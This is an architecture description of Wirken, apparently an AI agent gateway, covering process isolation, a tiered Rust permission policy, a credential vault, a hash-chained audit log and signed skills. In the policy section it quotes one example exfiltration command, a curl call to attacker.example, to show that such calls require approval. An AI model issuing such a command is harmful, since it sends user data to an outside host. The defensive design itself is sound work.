Architecture
Wirken runs as a small set of cooperating processes. The channel adapters and the MCP proxy run as their own OS processes; the gateway and agent share one. Each adapter holds the credentials for its channel and nothing else, and the MCP proxy holds the credentials for each MCP server child and nothing else. A compromise of any one process reads exactly the secrets that process was already trusted with.
Per-channel process isolation
Each channel adapter is a separate OS process spawned by the gateway and tracked in the adapter registry. The adapter holds the platform credentials for its channel and nothing else, so it cannot invoke tools, read other channels' sessions, or reach other channels' credentials.
Adapter-to-gateway IPC runs over a Unix domain socket. Adapters authenticate with a per-adapter Ed25519 challenge-response handshake at connect time, and the gateway records the channel that handshake resolves to as the authenticated channel for the connection. Frames are serialized with Cap'n Proto, a zero-copy format whose traversal limits the gateway enforces before parsing the payload.
Every inbound frame carries a self-declared channel string. The gateway calls AuthenticatedChannel::require_match on that string against the handshake-resolved channel before routing. A mismatch fails the frame and writes both sides of the discrepancy to the audit chain, so cross-channel impersonation attempts are observable in the log, not just rejected at the door.
The gateway keeps channels apart with three things: each adapter is its own OS process, each authenticates with its own Ed25519 key, and the gateway checks the channel on every frame against the one the connection authenticated as. The IPC crate also has a typed SessionHandle<C: Channel>; it is not used on the production message path. /channels shows the types. Reference: crates/ipc/src/channel.rs.
The typed-action policy
Every gateable operation is a variant of a Rust Action enum. The dispatcher matches on the enum at every tool call, the match is total, and the compiler enforces totality. A new gateable action without a tier fails to build; removing one fails every site that previously handled it. Your policy decision lives in Rust before the JSON the model produced reaches the tool.
An action resolves to one of three tiers when the dispatcher classifies it.
- Tier 1, allowed. Workspace file access, channel replies, web search. No interactive prompt, no decision cost at runtime.
- Tier 2, asks unless you have recorded a grant. Shell exec for 23 inspection commands on an allowlist. An approval you give at a prompt covers that one call. A grant recorded with wirken permissions approve lasts thirty days by default and covers every admitted sender on that agent and channel.
- Tier 3, always asks. Every other shell command, any command containing a pipe, redirect or substitution, every MCP tool call, image generation, reading another channel's memory or an imported archive, and any tool the gateway does not know. Approvals are not stored.
A model that asks for exec with curl https://attacker.example/exfil resolves to Tier 3, so you are asked before the command runs, and the command runs in a container with no network. The tier is computed in Rust from the tool name and arguments; the model does not choose it. The tool call is written to the audit chain before the tool runs. Reference: crates/gateway/src/permissions.rs.
The encrypted credential vault
Credentials sit at rest in an XChaCha20-Poly1305 vault. The vault key is a file in the data directory, wrapped by the vault passphrase. A build with an optional feature keeps it in the operating system's keychain instead; the released binaries do not.
Decrypted secrets are wrapped in VaultSecret, which deliberately does not implement Display, Debug, Serialize, or Clone. The only access path returns a short-lived reference that cannot outlive the secret value, and when the value goes out of scope, its memory is zeroed via zeroize. A stray println!("token: {token}") fails to build, not at runtime. This is not a developer convention; it is a property the compiler enforces on every code path.
MCP credentials sit behind one more boundary. The MCP proxy runs as a separate process over a Unix domain socket, and each MCP server entry in mcp.json spawns its own child with its own pipes and its own scoped credentials. Your agent process never holds a plaintext bearer token or an OAuth2 client secret for an MCP server, so an exploit against the agent reads zero MCP secrets.
The audit chain
Every session writes a SHA-256 hash-chained event log. The log lives in SQLite as a single append-only table. Each row carries the previous row's hash, the event payload's hash, and the resulting chain hash, and the chain head is signed periodically with the agent's Ed25519 identity over the sequence range it covers.
The events are typed: user messages, assistant messages, tool calls, tool results, LLM request and response metadata (with a hash of the exact messages and tools sent to the provider), permission decisions and injection-detector flags. A changed row breaks the chain. Chain heads are signed with the installation's audit key. The chain shows the sequence of decisions, not the correctness of any one decision.
Verification is offline. wirken sessions verify <session-id> reads the session's rows, recomputes the hashes, re-runs read_file and list_files against the current workspace, and reports any divergence. wirken audit verify walks every session's chain and checks the Ed25519 signature on each chain head. The full schema and CLI surface live at docs/audit-cli.md.
The same typed events feed a SIEM forwarder when one is configured. Datadog, Splunk HEC, Microsoft Sentinel, and any HTTPS webhook are first-class targets. Events ship after they land in the chain, so the SIEM stream and your local audit log are independent views of the same record.
The skill envelope
A skill is a directory. It contains SKILL.md: the model-facing instructions and a YAML frontmatter block that declares the skill's tools and permissions. A frontmatter that sets disable-model-invocation: false opts the skill into the LLM's auto-pickable set; without that line, the skill is only reachable through an explicit /skill-name slash command.
Skills are signed. The signature is an Ed25519 signature over the SHA-256 hash of SKILL.md, in SKILL.sig beside it. A skill loads only when a delegation signature from the registry root, which is compiled into the binary, covers the key that signed it. A bundle signed only with its own key is refused.
Skills are Markdown and run through the gateway's tools; there is no runtime for compiled skills. File access for the agent's workspace goes through one cap_std::fs::Dir handle opened on the workspace directory, which refuses absolute paths and any path that leaves the workspace. Lyrik, the static-analysis skill, is the worked example: lyrik.wirken.ai.
The flow
For one inbound message, from arrival to policy decision:
- The platform delivers a message to a channel adapter. The adapter is the only process in wirken that holds that platform's credentials.
- The adapter signs and frames the inbound message and forwards it to the gateway over its authenticated UDS connection. The gateway verifies the frame, matches the claimed channel against the authenticated channel, and records the inbound event in the audit chain.
- The gateway routes the message to the appropriate agent with the merged permission profile for that session. The agent loads the relevant skills, populates the context window within the model's token budget, and calls the LLM.
- The agent receives a tool call from the LLM. The dispatcher resolves it to an Action variant. The policy engine checks the action's tier and either allows, prompts, or denies. The audit chain records the decision and the tool result before the next turn begins.